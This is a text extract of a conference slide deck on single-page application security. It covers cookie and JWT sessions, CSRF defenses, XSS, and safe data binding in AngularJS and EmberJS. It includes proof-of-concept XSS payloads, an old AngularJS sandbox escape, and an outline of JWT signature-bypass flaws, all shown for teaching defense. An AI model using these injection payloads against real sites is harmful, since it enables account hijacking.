170
@PhilippeDeRyck #Devoxx #SecureSPA Getting Single Page Application Security Right Philippe De Ryck iMinds-DistriNet, KU Leuven `

Getting Single Page Application Security Right

Embed Size (px)

Citation preview

@PhilippeDeRyck#Devoxx #SecureSPA

GettingSingle Page Application Security

RightPhilippe De Ryck

iMinds-DistriNet, KU Leuven

`

@PhilippeDeRyck#Devoxx #SecureSPA

http://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/http://blogs.adobe.com/conversations/2013/10/important-customer-security-announcement.html

@PhilippeDeRyck#Devoxx #SecureSPA

http://fortune.com/2015/08/24/samsungs-smart-fridge-hacked/

@PhilippeDeRyck#Devoxx #SecureSPA

https://www.flickr.com/photos/jeepersmedia/16091161616/http://deredactie.be/cm/vrtnieuws/binnenland/1.2163105

http://www.clickx.be/nieuws/134342/telenet-laat-je-surfen-via-de-modem-van-je-buren/

@PhilippeDeRyck#Devoxx #SecureSPA

http://blog.codinghorror.com/welcome-to-the-internet-of-compromised-things/http://betanews.com/2015/04/20/d-link-says-sorry-for-shoddy-security-and-sloppy-patching-of-its-routers/

@PhilippeDeRyck#Devoxx #SecureSPA

http://motherboard.vice.com/read/ads-on-ebay-and-drudge-report-were-coopted-by-malware-for-three-weekshttp://countermeasures.trendmicro.eu/superfish-and-chips-or-super-phish/

@PhilippeDeRyck#Devoxx #SecureSPA

Web Security in the Modern Age• Users are more vulnerable than ever

• Even when they do not do anything wrong

• Web applications should go the extra mile for security• Use the tools available to achieve a maximum level of security

• Anticipate potential compromises of critical infrastructure

• Achieve this goal using state-of-the-art security technologies• New security policies complement traditional Web security tools

@PhilippeDeRyck#Devoxx #SecureSPA

About Me – Philippe De Ryck• Postdoctoral Researcher @ DistriNet (KU Leuven)

• Focus on (client-side) Web security

• Responsible for the Web Security training program• Dissemination of knowledge and research results• Target audiences include industry and researchers

• Main author of the Primer on Client-Side Web Security• 7 attacker models, broken down in 10 capabilities• 13 attacks and their countermeasures• Overview of security best practices

@PhilippeDeRyck#Devoxx #SecureSPA

Traditional Web Applications

POST newItem.phpDescription:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New

<html>…

</html>

@PhilippeDeRyck#Devoxx #SecureSPA

Traditional Web Applications

POST newItem.phpDescription:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New

<html>…

</html>

@PhilippeDeRyck#Devoxx #SecureSPA

Traditional Web Applications

GET sortBy?col=Task

Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New Sorting API

25/02/2015

30/03/2015

Cooking

B-day party

Deadline Task

<table>…

</table>

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Applications

POST /items/Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

Parse request

Store data

Send response

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Deadline Task

Add New

25/02/2015

30/03/2015

Cooking

B-day party

Deadline Task

OK

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Application Architecture

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Application Architecture

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Application Architecture

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Application Architecture

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

Cookie Security flags

X-Frame-Options

Content Security Policy

Cross-Origin Resource Sharing

HTTP Strict Transport Security

HTTP Public Key Pinning

Subresource Integrity

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Application Architecture

17

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

@PhilippeDeRyck#Devoxx #SecureSPA

Web Security has Become Complex

http://arstechnica.com/security/2015/04/no-joke-googles-april-fools-prank-inadvertently-broke-sites-security/

@PhilippeDeRyck#Devoxx #SecureSPA

Web Security has Become Complex

http://arstechnica.com/security/2015/04/match-coms-http-only-login-page-puts-millions-of-passwords-at-risk/

@PhilippeDeRyck#Devoxx #SecureSPA

The Web Security Landscape

20

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)

• Content Security Policy (CSP)

• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Server-side vs client-side sessions

• Cookie-based session management and its vulnerabilities

• Token-based session management

• Cross-Site Scripting (XSS)

• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

HTTP and State Management• HTTP is stateless by nature

• Multiple requests from the same client are not related to each other

• The server has no way to store temporary state

• HTTP does support the sending of authentication data• Through the Authorization header

• Sends credentials on every request

• Server has no control over sessions

@PhilippeDeRyck#Devoxx #SecureSPA

Cookies Make HTTP StatefulSome-shop.com

Show orders

List of orders

Go to some-shop.com

Hello stranger

Login as Philippe

Hello Philippe

Logged_in: trueUser: PhilippeAdmin: true

3a99a4d1e8f496

Logged_in: trueUser: NotPhilippeAdmin: false

7ad3e9f78bc808Go to some-shop.com

Hello stranger

Login as NotPhilippe

Hello NotPhilippe

Logged_in: false

Logged_in: false

1

2

Set-Cookie: sessionid=1; Expires=Wed, 09 Jun 2021 10:18:14 GMT; Domain=some-shop.com; Secure; HttpOnly

Cookie: sessionid=1

@PhilippeDeRyck#Devoxx #SecureSPA

But Isn’t REST Stateless?

API

Client-Enforced

Security Policies

Storage Backend

Client-Side

Application

Server-Controlled

Security Policies

Client-Side Data

Storage

Session Data

Static Application

Files

Default Browser

Security Policies

API

Client-Enforced

Security Policies

Storage Backend

Static Application

Files

JavaScript APIs

@PhilippeDeRyck#Devoxx #SecureSPA

Server-Side vs Client-Side Sessions• Server-side sessions

• Results in a stateful API

• Gives the server full control over the session

• Track active sessions, invalidate expired sessions

• Client-side sessions• Stateless API pushes all session information to the client

• Server has no control over active sessions

• Session data is transmitted with every request

@PhilippeDeRyck#Devoxx #SecureSPA

Client-Side Sessions with Cookies

• Very similar to server-side sessions• Data is simply stored in a different place

• Transparent to the application

Some-shop.com

Show orders

List of orders

Go to some-shop.com

Hello stranger

Login as Philippe

Hello PhilippeLogged_in: trueUser: PhilippeAdmin: true

Logged_in: trueUser: NotPhilippeAdmin: false

Go to some-shop.com

Hello stranger

Login as NotPhilippe

Hello NotPhilippe

Logged_in: false

Logged_in: false

Logged_in: falseLogged_in: trueUser: PhilippeAdmin: true

Logged_in: falseLogged_in: trueUser: NotPhilippeAdmin: false

if(!req.session.Admin) {// throw error

}else {

// Do admin stuff}

@PhilippeDeRyck#Devoxx #SecureSPA

Client-Side Sessions with Cookies• Client-side sessions hold the actual data instead of an ID

• Big change in the security properties of the session data

• Server-side sessions depend on the unguessability of the ID• Client-side sessions depend on the integrity of the data

@PhilippeDeRyck#Devoxx #SecureSPA

Handling Cookie-Based Sessions• How do you support cookie-based sessions in an SPA?

• By running it in a browser

• Cookies are supported by all major browsers• The browser stores incoming cookies per domain in a cookie jar

• It will automatically attach cookies for a domain to outgoing requests

• Main reason why cookies are still so popular today• Also the main reason that Cross-Site Request Forgery exists

@PhilippeDeRyck#Devoxx #SecureSPA

Cross-Site Request Forgery

• The server is confused about the intentions of the user• Malicious sites trigger unintended requests from the user’s browser

• Browser happily attaches the cookies, which contain session info

• Well-known attack, but requires explicit action to prevent

some-shop.com

hackedblog.com

Login as Philippe

Hello Philippe

Show orders

List of orders

Show latest blog post

Latest blog post

Change email address

Sure thing, Philippe

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF in the Wild …

http://news.softpedia.com/news/CSRF-Vulnerability-in-eBay-Allows-Hackers-to-Hijack-User-Accounts-Video-383316.shtml

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF in the Wild …

https://threatpost.com/pharming-attack-targets-home-router-dns-settings/111326http://arstechnica.com/security/2014/03/hackers-hijack-300000-plus-wireless-routers-make-malicious-changes/

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF Defense 1: HTML Tokens• Hide token in the HTML page and check on submission

• Same-Origin Policy prevents other contexts from getting the token

some-shop.com

hackedblog.com

Account details page

Account details

Change email address

Sure thing, Philippe

Show latest blog post

Latest blog post

Change email address

CSRF token sadness L

t

t

<form action=“submit.php”><input type=“hidden”

name=“token” value=“qasfj8j12ads” />

…</form>

TOKEN-BASED APPROACH

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF Defense 2: Origin Header• Check the origin header sent by the browser

• Automatically added to state-changing requests (POST/PUT/DELETE)

some-shop.com

hackedblog.com

Change email address

Origin: http://some-shop.com

Sure thing, Philippe

Show latest blog post

Latest blog post

Change email address

Origin: http://hackedblog.comStranger danger! L

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF Defense 3: Transparent Tokens• Compare a cookie value against a header value

• Browser’s cookie policies prevent illegitimate access

some-shop.com

First request

Set-Cookie: session=…Set-Cookie: CSRF-Token=123

Cookie: session=…Cookie: CSRF-Token=123

Only the JS code on the page can copy cookie value into header

X-CSRF-Token: 123

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF Defense 3: Transparent Tokens• Well-suited CSRF defense for stateless APIs

• Supported by numerous libraries for various frameworks

var csrf = require('csurf');app.use(csrf());app.use("/", function(req, res, next) {

res.cookie('XSRF-TOKEN', req.csrfToken());next();

});

TRANSPARENT TOKENS

Enabled by default for ‘XSRF-TOKEN’

TRANSPARENT TOKENS

@PhilippeDeRyck#Devoxx #SecureSPA

CSRF Defense 3: Transparent Tokens• Well-suited CSRF defense for stateless APIs

• Supported by numerous libraries for various frameworks

export default {name: "CSRFProtection",initialize() {window.$.ajaxPrefilter(function(options, originalOptions, xhr) {if ( ! options.crossDomain ) {var token = /XSRF-TOKEN=([^;]+)/.exec(document.cookie);if(token) {xhr.setRequestHeader('X-CSRF-Token', token[1]);

}}

})}};

EMBERJS INITIALIZER

@PhilippeDeRyck#Devoxx #SecureSPA

Cookies Are Only a Means of Transport • Data is being sent back and forth between client and server

• Cookies are often used, because every browser supports them

• Cookie management is difficult outside of browsers

• Cookies suffer from CSRF attacks

• Token-based session management is becoming popular• Session data stored in a token, which is sent to the server

• Can be a custom header, a query parameter, a form field, …

• Requires explicit handling by the client-side application

@PhilippeDeRyck#Devoxx #SecureSPA

Tokens as an Alternative to Cookies

• Tokens are sent to the client• In an HTTP header or in the body of the response

• The client-side application attaches them to outgoing requests

• Not vulnerable to CSRF, because they’re not automatically attached

some-shop.com

hackedblog.com

Login as Philippe

Hello Philippe

Show orders

List of orders

Show latest blog post

Latest blog post

Change email address

Dude, where’s your token?

@PhilippeDeRyck#Devoxx #SecureSPA

http://jwt.io/

@PhilippeDeRyck#Devoxx #SecureSPA

JSON Web Token• A JWT just looks like a blob of data

• Contains three sections of base64-encoded data

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2ZW4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0cnV

lfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so

{"alg": "HS256","typ": "JWT"

}

{"iss": ”distrinet.cs

.kuleuven.be","exp": 1425078000000,"name": "philippe","admin": true

}

HMACSHA256(base64UrlEncode(header)+ "." +base64UrlEncode(payload),“secret”

)

Header Payload Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2ZW4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0cnV

lfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2ZW4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0cnV

lfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2ZW4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0cnV

lfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so

@PhilippeDeRyck#Devoxx #SecureSPA

JSON Web Token• The standardized way to exchange session data

• Part of a JSON-based Identity Protocol Suite

• Together with specs for encryption, signatures and key exchange

• Used by OpenID Connect, on top of OAuth 2.0

• Requires explicit handling by the client-side application• Difficult in traditional HTML Web applications

• Easy with modern client-side JavaScript frameworks

@PhilippeDeRyck#Devoxx #SecureSPA

Client-Side Sessions with JWTfunction TokenService($rootScope, $localStorage) {

var service = this;service.request = function(config) {

if($localStorage.authorizationToken) {console.log("Setting the authorization token");config.headers.authorization = $localStorage.authorizationToken;

}return config;

};

service.response = function(response) {var token = response.headers("Authorization");if(token) {

console.log("Storing the authorization token");$localStorage.authorizationToken = "Bearer " + token;

}return response;

}}

HANDLING JWT TOKENS

@PhilippeDeRyck#Devoxx #SecureSPA

JWT In Practice• JWT are base64-encoded JSON objects

• By default, no confidentiality, so careful with sensitive data

• Integrity is built in through the signature

• Widely supported, with libraries for almost every language• Well suited to exchange identity information between microservices

• JWT has gotten a bad reputation lately

@PhilippeDeRyck#Devoxx #SecureSPA

JWT Implementation Vulnerabilities• Implementation problems in the libraries

• Not a systemic security failure, merely a hickup

• Quickly patched in official libraries

• Problem 1: the “none” algorithm was widely supported• Client controls the contents of the JWT

• Allows the attacker to create a valid but unsigned token

• Fixed by preventing none if the server is using a signing key

@PhilippeDeRyck#Devoxx #SecureSPA

JWT Implementation Vulnerabilities• Implementation problems in the libraries

• Not a systemic security failure, merely a hickup

• Quickly patched in official libraries

• Problem 2: Confusion between HMAC and public key crypto• Both are valid signing mechanisms for JWT

• Attacker abuses a mismatch in server config and token algorithm

• Causes an HMAC token to be verified with the server’s public key

• Fixed by depending on config instead of algorithm

@PhilippeDeRyck#Devoxx #SecureSPA

Wrapping Up Session Management• Session management is a critical component

• Security is very important, but often overlooked

• Illustrated by the OWASP top 10

• Server-side sessions and client-side sessions are different• Server-side sessions rely on the secrecy of the session ID

• Client-side sessions rely on the secrecy and the integrity of the data

@PhilippeDeRyck#Devoxx #SecureSPA

Best Practices• Deploy your application over HTTPS to ensure secrecy

• Make sure your HTTPS deployment is at least A grade

• Aim for a 100% HTTPS deployment, and enable HSTS

• Verify the integrity and validity of client-side session data• Make sure you also set and check expiration dates

• Specifically for cookie-based session management• Configure cookies to use the Secure and HttpOnly flag

• Make sure you have CSRF defenses in place

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Server-side vs client-side sessions

• Cookie-based session management and its vulnerabilities

• Token-based session management

• Cross-Site Scripting (XSS)

• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• XSS and its consequences

• Traditional XSS defenses

• XSS defenses in Single Page Applications

• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

XSS Illustrated

Add review

Thanks for the review!

reviews

I can really recommend product X. It is awesome!<script>alert(‘Never gonna let you down!’)</script>

Show Reviews

Reviews page

<html><body>… …</body></html>

@PhilippeDeRyck#Devoxx #SecureSPA

The Consequences of XSS Are Severe

@PhilippeDeRyck#Devoxx #SecureSPA

Apache.org Compromise

http://blogs.apache.org/infra/entry/apache_org_04_09_2010

1. Report bug with obscured URL

containing reflected XSS attack

http://tinyurl.com/XXXXXXX

2. Admin opens link,

compromising their session

3. Attacker disable notifications

for a hosted project

4. Attacker changes upload

path to location that can

execute JSP files

5. Attacker added new bug

reports with JSP attachments

6. Attacker browses and copies

filesystem through JSP. Installs

backdoor JSP with webserver

privileges

@PhilippeDeRyck#Devoxx #SecureSPA

Apache.org Compromise

http://blogs.apache.org/infra/entry/apache_org_04_09_2010

7. Attacker installs JAR to

collect passwords on login

8. Triggered logins by sending

out password reset mails

9. One of the passwords

matched an SSH account with

full sudo access

10. The accessible machine

had user home folders, with

cached subversion credentials

11. From the subversion

machine, privilege escalation

was unsuccessful

@PhilippeDeRyck#Devoxx #SecureSPA

What Is XSS Exactly?

• The payload of an XSS attack is provided by the attacker• Malicious code, that can load additional code files if desired

• The victim’s browser parsing the payload triggers the attack• The browser will trigger the execution of the attacker’s code

• The malicious code runs within the application’s context• The attacker’s code has the same privileges as the application code

XSS leads to the execution of attacker-controlled code in the context of the vulnerable application in the victim’s browser

@PhilippeDeRyck#Devoxx #SecureSPA

Stored XSS

Add review

Thanks for the review!

reviews

I can really recommend product X. It is awesome!<script>alert(‘Never gonna let you down!’)</script>

Show Reviews

Reviews page

<html><body>… …</body></html>

@PhilippeDeRyck#Devoxx #SecureSPA

Reflected XSS

Hey, checkout product X. It is awesome!<a href=“http://some-shop.org/product.php?id=1&name=<script>alert(‘Never gonna let you down!’)</script>

Show Product (id=1, name= )

Product page

<html><body><h1> </h1><p> </p></body></html>

products

@PhilippeDeRyck#Devoxx #SecureSPA

DOM-Based XSS

Hey, checkout product X. It is awesome!<a href=“http://some-shop.org/allproducts.php#1

“><script>alert(‘Never gonna let you down!’)</script>

Get page with all products

Product page

<html><body><p>

</p></body></html>

products

permalink.innerHTML = '<a href="' + window.location.hash.split('#')[1] + '.php">Link to product</a>’;

@PhilippeDeRyck#Devoxx #SecureSPA

Traditional XSS Defenses• Secure coding practices

• Do not rely on simple filters (e.g. removing <, >, &, “, ‘)

• Use context-sensitive output encoding

• HTML body <h1>DATA</h1>

• HTML attributes <div id=‘DATA’>

• Stylesheet context body { background-color: DATA; }

• Script context alert(“DATA”);

• URL context <a href=“http://example.com?arg=DATA”>

@PhilippeDeRyck#Devoxx #SecureSPA

But Preventing XSS Seems Hard …

https://www.xssposed.org/incidents/top/

@PhilippeDeRyck#Devoxx #SecureSPA

Can JS MVC Frameworks Help?

GET /tasks?sortBy=name

Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New Sorting API

25/02/2015

30/03/2015

Cooking

B-day party

Deadline Task

[{…},{…}]

@PhilippeDeRyck#Devoxx #SecureSPA

Server-Side Template Composition• JavaScript MVC frameworks change how the DOM works

• Extensions through elements, attributes, etc.

• New interfaces

• Often in combination with templating

<graph class="visitor-graph"><axis position="left"></axis><axis position="bottom"></axis><line name="typical-week" line-data="model.series.typicalWeek"></line><line name="this-week" line-data="model.series.thisWeek"></line><line name="last-week" line-data="model.series.lastWeek"></line>

</graph>

EXTENDING THE DOM

@PhilippeDeRyck#Devoxx #SecureSPA

Server-Side Template Composition• Traditional Web applications are based on HTML pages

• They often integrate a JS MVC framework to improve the UI

• E.g. Embedding AngularJS in dynamically constructed JSP pages

• Server applies context-aware XSS protection

<script src=“knockout-2.3.0.js"></script><div data-bind="x:alert(1)" /><script>

ko.applyBindings();</script>

KNOCKOUT.JS EXAMPLE

@PhilippeDeRyck#Devoxx #SecureSPA

Mustache Security

https://code.google.com/p/mustache-security/

@PhilippeDeRyck#Devoxx #SecureSPA

Mustache Security• Project dedicated to JS MVC security pitfalls

• Assuming there is an injection vector

• Assuming there is conventional XSS filtering in place

• What can an attacker do?

• New behavior often breaks existing security assumptions• Bypass currently used security mechanisms

• Script injection possible whenever a data attribute is allowed

https://code.google.com/p/mustache-security/

@PhilippeDeRyck#Devoxx #SecureSPA

Mustache Security Examples

https://code.google.com/p/mustache-security/

<script src=“jquery-1.7.1.min.js"></script><script src=“kendo.all.min.js"></script><div id="x"># alert(1) #</div><script>

var template = kendo.template($("#x").html());var tasks = [{ id: 1}];var dataSource = new kendo.data.DataSource({ data: tasks });dataSource.bind("change", function(e) { var html = kendo.render(template, this.view());

});dataSource.read();

</script>

KENDOUI EXAMPLE

@PhilippeDeRyck#Devoxx #SecureSPA

Mustache Security Examples

https://code.google.com/p/mustache-security/

<script src=“angular1.1.5.min.js"></script><div class="ng-app">{{constructor.constructor('alert(1)')()}}</div>

ANGULARJS EXAMPLE (< 1.2)

@PhilippeDeRyck#Devoxx #SecureSPA

Separating Front End and Back End• Beware of server-side composition of templates

• Generally a bad idea, because of dynamic behavior

• If you must do this, AngularJS 1.2+ enforces quite a good sandbox

• Separating the front end from the back end• Server provides client-side application as static files

• Server offers data through a well-designed API

• Client-side application contains the dynamic behavior

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Applications

POST /items/Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

Parse request

Store data

Send response

25/02/2015

Overview

30/03/2015

Cooking

B-day party

Deadline Task

Add New

25/02/2015

30/03/2015

Cooking

B-day party

Deadline Task

OK

@PhilippeDeRyck#Devoxx #SecureSPA

Single Page Applications• Run on a client-side JavaScript MVC framework

• Backed by a data-driven REST API

• Back end has no context knowledge• So can also not provide useful input filtering and output encoding

• Client-side application will have to take care of this

• So how does this work in AngularJS?

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div>{{x}}</div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

<img src=”http://some-shop.com/coolcar.png" />

RENDERED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div ng-bind=“x”></div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

<img src=”http://some-shop.com/coolcar.png" />

RENDERED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div ng-bind-html=“x”></div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

Error: [$sce:unsafe] Attempting to use an unsafe value in a safe context.

RENDERED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

Dammit

@PhilippeDeRyck#Devoxx #SecureSPA

Check Documentation

@PhilippeDeRyck#Devoxx #SecureSPA

Go to StackOverflow

@PhilippeDeRyck#Devoxx #SecureSPA

And you Find This Little Gem

http://stackoverflow.com/questions/9381926/angularjs-insert-html-into-view

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div ng-bind-html=“x | sanitize”></div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

RENDERED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div ng-bind-html=“x | sanitize”></div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png"onerror=“alert(1)” />

USER INPUT

RENDERED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

How Did That Happen?

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping• AngularJS tries to protect you from injection attacks

• Let it, it’s really good at it!

• ng-bind will never produce HTML

<textarea ng-model=“x”></textarea><div ng-bind=”x"></div>

ANGULARJS TEMPLATE

<div ng-bind=”x">&lt;img src=”http://some-shop.com/coolcar.png"

onerror=“alert(1)” /&gt;</div>

GENERATED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping• AngularJS tries to protect you from injection attacks

• Let it, it’s really good at it!

• ng-bind-html can produce HTML, but not without protection

<textarea ng-model=“x”></textarea><div ng-bind-html=”x"></div>

ANGULARJS TEMPLATE

Error: [$sce:unsafe] Attempting to use an unsafe value in a safe context.

GENERATED HTML

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping• AngularJS tries to protect you from injection attacks

• Let it, it’s really good at it!

• ng-bind-html can produce HTML, but not without protection• Enable automatic sanitization with ngSanitize

• Removes dangerous features from content

@PhilippeDeRyck#Devoxx #SecureSPA

Example Case – User-Provided Images

<textarea ng-model=“x”></textarea><div ng-bind-html=“x”></div>

ANGULARJS TEMPLATE

<img src=”http://some-shop.com/coolcar.png"onerror=“alert(1)” />

USER INPUT

RENDERED HTML

angular.module(“test”, [“ngSanitize”])…

ANGULARJS CODE

<img src=”http://some-…car.png" />

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping• AngularJS tries to protect you from injection attacks

• Let it, it’s really good at it!

• ng-bind-html can produce HTML, but not without protection• Enable automatic sanitization with ngSanitize

• Removes dangerous features from content

• If you really really want raw trusted HTML …• $sce.trustAsHtml() marks a string as trusted, disabling sanitization

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping - trustAsHtml

http://stackoverflow.com/questions/9381926/angularjs-insert-html-into-view

@PhilippeDeRyck#Devoxx #SecureSPA

Strict Contextual Escaping - trustAsHtml

<textarea ng-model=“x”></textarea><div ng-bind-html=”x | i_really_know_my_security"></div>

ANGULARJS TEMPLATE

angular.module(“test”,[]).filter("i_really_know_my_security", ['$sce', function($sce) {

return function(htmlCode){return $sce.trustAsHtml(htmlCode);

}}]);

ANGULARJS CODE

@PhilippeDeRyck#Devoxx #SecureSPA

And We Can Do The Same for EmberJS

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

<img src=”http://some-shop.com/coolcar.png" />

RENDERED HTML

{{input type=“text” value=x}}<div>{{x}}</div>

EMBERJS TEMPLATE

@PhilippeDeRyck#Devoxx #SecureSPA

And We Can Do The Same for EmberJS

http://stackoverflow.com/questions/11450602/show-property-which-includes-html-tags

@PhilippeDeRyck#Devoxx #SecureSPA

And We Can Do The Same for EmberJS

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT

RENDERED HTML

{{input type=“text” value=x}}<div>{{{x}}}</div>

EMBERJS TEMPLATE

@PhilippeDeRyck#Devoxx #SecureSPA

And We Can Do The Same for EmberJS

<img src=”http://some-shop.com/coolcar.png" onerror=“alert(1)”/>

USER INPUT

RENDERED HTML

{{input type=“text” value=x}}<div>{{{x}}}</div>

EMBERJS TEMPLATE

@PhilippeDeRyck#Devoxx #SecureSPA

And We Can Do The Same for EmberJS

<img src=”http://some-shop.com/coolcar.png" onerror=“alert(1)”/>

USER INPUT

RENDERED HTML

{{input type=“text” value=x}}<div>{{y}}</div>

y: function() { return Ember.String.htmlSafe(this.get(”x")); }.property(”x")

EMBERJS TEMPLATE & CONTROLLER

@PhilippeDeRyck#Devoxx #SecureSPA

EmberJS Does Not Offer Sanitization• By default, it only has an all or nothing approach

• By using an external library, we can easily add sanitization

• DOMPurify is fast and reliable

import Ember from 'ember';import sanitizer from "../utils/dompurify";

export function sanitizePurify(params/*, hash*/) {var text = params[0];return Ember.String.htmlSafe(sanitizer.sanitize(text || ""))

}

export default Ember.Helper.helper(sanitizePurify);

EMBERJS SANITIZE HELPER

{{input type=“text” value=x}}<div>{{sanitize-purify x}}</div>

EMBERJS TEMPLATE

@PhilippeDeRyck#Devoxx #SecureSPA

Data Binding Best Practices• You should always use the default binding mechanism

• This will produce safe output, depending on the context

• The framework is really good at this, so let it do its job

• If you need a safe set of HTML tags in the output• Use sanitization, either within the framework or from a library

• Do not try to write this yourself

• Use the trusted HTML features for static code only

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• XSS and its consequences

• Traditional XSS defenses

• XSS defenses in Single Page Applications

• Content Security Policy (CSP)• Cross-Origin Resource Sharing (CORS)

@PhilippeDeRyck#Devoxx #SecureSPA

Progressive Web Security• 4 days of hands-on training on modern Web security topics

1. Why simply deploying HTTPS will not get you an A+ grade

2. How to avoid common pitfalls in authentication and authorization on the Web

3. Why modern security technologies will eradicate XSS

4. Four new browser communication mechanisms, and how they affect your app

• Starting on November 19, one session each week

https://goo.gl/17hVTa

@PhilippeDeRyck#Devoxx #SecureSPA

Presentation Overview• Session Management

• Cross-Site Scripting (XSS)• Content Security Policy (CSP)

• What can CSP do for you?

• What do you need to do for CSP?

• How does CSP cooperate with JS MVC frameworks?

• Cross-Origin Resource Sharing (CORS)

